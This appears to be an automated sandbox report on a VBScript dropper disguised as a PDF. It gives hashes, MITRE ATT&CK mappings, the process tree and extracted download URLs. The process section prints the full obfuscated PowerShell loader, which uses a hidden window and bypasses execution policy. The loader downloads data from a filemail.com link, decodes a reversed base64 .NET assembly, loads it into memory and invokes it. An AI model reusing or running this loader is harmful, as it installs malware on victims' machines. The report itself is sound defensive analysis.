e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850

General

Target

Scan12112024,pdf.vbs
Size

12KB
MD5

4e9b8807134dfb560b0eb3f0bf8705af
SHA1

086e955967a78b02bb006f3d2755dfc49c536990
SHA256

e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850
SHA512

62dc169e27636a9baee657969f0e678b582a6a4a4b595fb242b037be53ab70c410c241d2f3c0b22f64c1bf7ad429fabc6f2705042f43f53dabc13d0e1369e99b
SSDEEP

192:spKV/HwG/IUUtbeDQgGHOgy9w3Kjv3H03f7sbcS/7XQx74DGICrZOnips3SkvDA:fV4N//ICrZOnips3Sl

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
3	576	WScript.exe
4	576	WScript.exe
8	1948	powershell.exe
9	1948	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2776	powershell.exe
1948	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2776	powershell.exe
1948	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	1948	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.exeWScript.exepowershell.exe

description	pid	Process	procid_target
PID 2136 wrote to memory of 576	2136	WScript.exe	30
PID 2136 wrote to memory of 576	2136	WScript.exe	30
PID 2136 wrote to memory of 576	2136	WScript.exe	30
PID 576 wrote to memory of 2776	576	WScript.exe	32
PID 576 wrote to memory of 2776	576	WScript.exe	32
PID 576 wrote to memory of 2776	576	WScript.exe	32
PID 2776 wrote to memory of 1948	2776	powershell.exe	34
PID 2776 wrote to memory of 1948	2776	powershell.exe	34
PID 2776 wrote to memory of 1948	2776	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJGVudjpDb01TcEVDWzQsMTUsMjVdLWpPSW4nJykoKCdOdGZpbWFnZVVybCA9IHBlTmh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbycrJzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfJysnVDM1dyZwa18nKyd2aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgcGVOO050ZndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllJysnbnQ7TnRmaW1hZ2UnKydCeXRlcyA9IE50ZndlYkNsaWVudC5Eb3dubG9hZERhdGEoTnRmaW1hZ2VVcmwpO050ZmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4JysndC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKE50ZmltYWdlQnl0ZXMpO050ZnN0YXJ0RmxhZyA9IHBlTjwnKyc8QkFTRTY0X1NUQVJUPj5wZU47TnRmZW5kRmxhZyA9IHBlTjw8QicrJ0FTRTY0X0VORD4+cGVOO050ZnN0YXJ0SW5kZXggPSBOdGZpbWFnZVRleHQuSW5kZXhPZihOdGZzdGFydEZsYWcpO050ZmVuZEluZGV4ID0gTnRmaW1hZ2VUZXh0LkluZGV4T2YoTnRmJysnZW5kRmxhZyk7TicrJ3Rmc3RhcnRJbmRleCAtZ2UgMCAtYW5kIE50ZmVuZEluZGV4IC1ndCBOdGZzdGFydEluZGV4OycrJ050ZnN0YXJ0SScrJ25kZXggKz0gTnRmc3RhcnRGbGFnLkxlbmd0aDsnKydOdGZiYXNlNjRMZW5ndGggPSBOdGZlbmRJbmRleCAtIE50ZnN0YScrJ3J0SW5kZXg7TnRmYmFzZTY0Q29tbWEnKyduZCA9IE50ZmltYWdlVGV4dC4nKydTdWJzdHJpJysnbmcoTnRmc3RhcnQnKydJbmRleCwgTnRmYmFzZTY0TGVuZ3RoKTtOdGZiYXNlJysnNjRSZXZlcnNlZCA9IC1qb2luIChOdGZiJysnYXNlNjRDJysnb21tYW5kLlQnKydvQ2hhckFycmF5KCkgbUxoIEZvckVhY2gtT2JqZWN0IHsgTnRmXyB9KVstMS4uLShOdGZiYXNlJysnNjRDb20nKydtYW5kLkxlbmd0aCknKyddO050ZmNvbW1hbmRCeXRlcyA9JysnIFtTeXN0ZW0uQ29udmVydF0nKyc6OkZyb21CJysnYXNlNjRTdHJpbmcoTnRmYmFzZTY0UmV2ZXJzZWQpO050ZmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChOdGZjb21tYW5kQnl0ZScrJ3MpOycrJ050ZnZhaU1ldGgnKydvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QocGVOVkFJcGVOKTtOdCcrJ2Z2YWlNZXRob2QuJysnSW52b2tlKE50Zm51bGwsIEAocGVOdHh0LkxTU1dTL2tsby91ZS5oc3Vwd3NyZWxsb3Iuc3VwLy86cHR0aHBlTicrJywgcGVOZGVzYScrJ3RpdmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlJysnTiwgcGVOZGVzYXRpJysndmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlTiwgcGVOMXBlTiwgcGVOZHhkaWFncGVOLCBwJysnZU5kZXNhdGl2YWRvcGVOLCBwZU5kZXNhdGl2YWRvcGVOLHBlJysnTmRlc2F0aXZhZG9wZU4scGVOZGVzYXRpdmFkb3BlTixwZU5kZXNhdGl2YWRvcGVOLHBlTjFwZU4scGVOZGVzYXRpdmFkb3BlTikpOycpLlJlcGxBQ0UoJ21MaCcsW3N0cmlOR11bQ2hhUl0xMjQpLlJlcGxBQ0UoKFtDaGFSXTExMitbQ2hhUl0xMDErW0NoYVJdNzgpLFtzdHJpTkddW0NoYVJdMzkpLlJlcGxBQ0UoKFtDaGFSXTc4K1tDaGFSXTExNitbQ2hhUl0xMDIpLFtzdHJpTkddW0NoYVJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2776
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $env:CoMSpEC[4,15,25]-jOIn'')(('NtfimageUrl = peNhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bWo'+'9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_'+'T35w&pk_'+'vid=fd4f614bb209c62c1730945176a0904f peN;NtfwebClient = New-Object System.Net.WebClie'+'nt;Ntfimage'+'Bytes = NtfwebClient.DownloadData(NtfimageUrl);NtfimageText = [System.Tex'+'t.Encoding]::UTF8.GetString(NtfimageBytes);NtfstartFlag = peN<'+'<BASE64_START>>peN;NtfendFlag = peN<<B'+'ASE64_END>>peN;NtfstartIndex = NtfimageText.IndexOf(NtfstartFlag);NtfendIndex = NtfimageText.IndexOf(Ntf'+'endFlag);N'+'tfstartIndex -ge 0 -and NtfendIndex -gt NtfstartIndex;'+'NtfstartI'+'ndex += NtfstartFlag.Length;'+'Ntfbase64Length = NtfendIndex - Ntfsta'+'rtIndex;Ntfbase64Comma'+'nd = NtfimageText.'+'Substri'+'ng(Ntfstart'+'Index, Ntfbase64Length);Ntfbase'+'64Reversed = -join (Ntfb'+'ase64C'+'ommand.T'+'oCharArray() mLh ForEach-Object { Ntf_ })[-1..-(Ntfbase'+'64Com'+'mand.Length)'+'];NtfcommandBytes ='+' [System.Convert]'+'::FromB'+'ase64String(Ntfbase64Reversed);NtfloadedAssembly = [System.Reflection.Assembly]::Load(NtfcommandByte'+'s);'+'NtfvaiMeth'+'od = [dnlib.IO.Home].GetMethod(peNVAIpeN);Nt'+'fvaiMethod.'+'Invoke(Ntfnull, @(peNtxt.LSSWS/klo/ue.hsupwsrellor.sup//:ptthpeN'+', peNdesa'+'tivadopeN, peNdesativadope'+'N, peNdesati'+'vadopeN, peNdesativadopeN, peN1peN, peNdxdiagpeN, p'+'eNdesativadopeN, peNdesativadopeN,pe'+'NdesativadopeN,peNdesativadopeN,peNdesativadopeN,peN1peN,peNdesativadopeN));').ReplACE('mLh',[striNG][ChaR]124).ReplACE(([ChaR]112+[ChaR]101+[ChaR]78),[striNG][ChaR]39).ReplACE(([ChaR]78+[ChaR]116+[ChaR]102),[striNG][ChaR]36))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf

Filesize
1KB

MD5
7204c9eb7a0202a3eb5732158ac1e4a7

SHA1
b46404c81270dc41fe73c8b33503f08f4522c055

SHA256
6181ae6da5b4003eb057e75507fe7d91207a9ac255a0df96f4da7164f31d9a05

SHA512
bdaef419803778a1921ad3520e9680aebb2fb9f500db285f0985daadc9159e7a917f97a701c290e0e69aa9f12740bda0bc67707be88be2b0fe5d96366306880b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6e153ea4216d5bba3c9b96deeaf562a1

SHA1
f99d565acef8a09963c7d02696508da2b8d54dc6

SHA256
2bd09762c31284d0bb55a61472e2eb3c31f74584a2b5e08abedc7c7296cdcdbf

SHA512
72862e1942178171451003ba861241918183fb655a0074baf41535729d43a1dbe08e81ad1dcd196e3d35aa0b95172b081fc9f94693b93f6990775ae0f99cac7a

Download Submit
memory/2776-7-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2776-8-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads